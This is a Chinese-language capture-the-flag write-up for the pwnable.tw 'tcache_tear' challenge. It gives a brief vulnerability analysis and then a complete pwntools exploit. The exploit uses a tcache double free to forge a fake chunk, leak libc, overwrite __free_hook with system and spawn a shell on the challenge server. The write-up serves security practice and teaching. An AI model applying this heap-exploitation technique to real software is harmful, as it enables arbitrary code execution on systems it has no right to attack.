Contents
  1. 1. tcache_tear
    1. 1.1. 分析
    2. 1.2. exp

tcache_tear

分析

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO # GOT表不可写
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

漏洞点在free处有一个很明显的uaf,还有在malloc中,存在越界

设想构造unsorted bin,free后打印出fd减去偏移得到libc基址。

  1. 构造unsorted bin,tcache链表是有空间限制的,但是题目中对free次数进行了限制,多次free填满tcache显然无法实现。所以可以通过伪造fake size,构造一个fake unsorted bin,同时要设置好后一个chunk的inuse位等通过检测。

    根据tcache的特性,可以不使用上面的溢出漏洞,使用下面的方式构造fake chunk。

1
2
3
4
5
6
7
malloc(0x30,"a"*8)
free()
free()

malloc(0x30,addr)
malloc(0x30,"a"*8)
malloc(0x30,fake_data)
  1. 得到libc,改free_hook为one或sys即可…

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!usr/bin/python
from pwn import *
context.log_level = 'debug'

binary = "./tcache_tear"
ip = "chall.pwnable.tw"
port = 10207
elf = ELF(binary)

name_addr = 0x602060
ptr_addr = 0x602088
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
success(puts_got)
def name(name):
io.sendafter("Name:", name)

def menu(choice):
io.sendlineafter("choice :", str(choice))

def malloc(size, data):
menu(1)
io.sendlineafter("Size:", str(size))
io.sendafter("Data:", data)

def free():
menu(2)

def info():
menu(3)

def pwn(ip, port, debug):
global io
if debug == 1:
io = process(binary)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
io = remote(ip, port)
libc = ELF('libc.so')
'''
# 使用溢出漏洞
# name("/bin/sh\x00")
name('kk') # fake unsorted bin
malloc(0xf, "d"*0x10)
free()
malloc(0x60, "e"*8)
free()
# gdb.attach(io)
malloc(0xf, "a"*0x20+p64(name_addr-0x10+0x510))
malloc(0x60,p64(0)+p64(0x11))
malloc(0x60,p64(0)+p64(0x11))

##################################

malloc(0xf, "a"*0x10)
free()
malloc(0x50, "b"*8)
free()

malloc(0xf, "c"*0x20+p64(name_addr-0x10))
malloc(0x50,p64(0)+p64(0x511))
malloc(0x50,p64(0)+p64(0x511))
gdb.attach(io)
free()
'''

name("kk")
malloc(0x70,"a"*8)
free()
free()

malloc(0x70,p64(name_addr-0x10+0x510))
malloc(0x70,"a"*8)
malloc(0x70,p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21))

malloc(0x60,"a"*8)
free()
free()
malloc(0x60,p64(name_addr-0x10))
malloc(0x60,"a"*8)
malloc(0x60,p64(0)+p64(0x511)+p64(0)*5+p64(name_addr))
free()
info()
io.recvuntil("Name :")
libc_base = u64(io.recv(8)) - 0x3ebca0
success("libc_base = "+hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
sys_addr=libc_base+libc.sym['system']

malloc(0x40,"a"*8)
free()
free()
malloc(0x40,p64(free_hook))
malloc(0x40,"a"*8)
malloc(0x40,p64(sys_addr))

malloc(0x18,"/bin/sh\x00")
free()

# gdb.attach(io)
io.interactive()

if __name__ == '__main__':
pwn(ip, port, 0)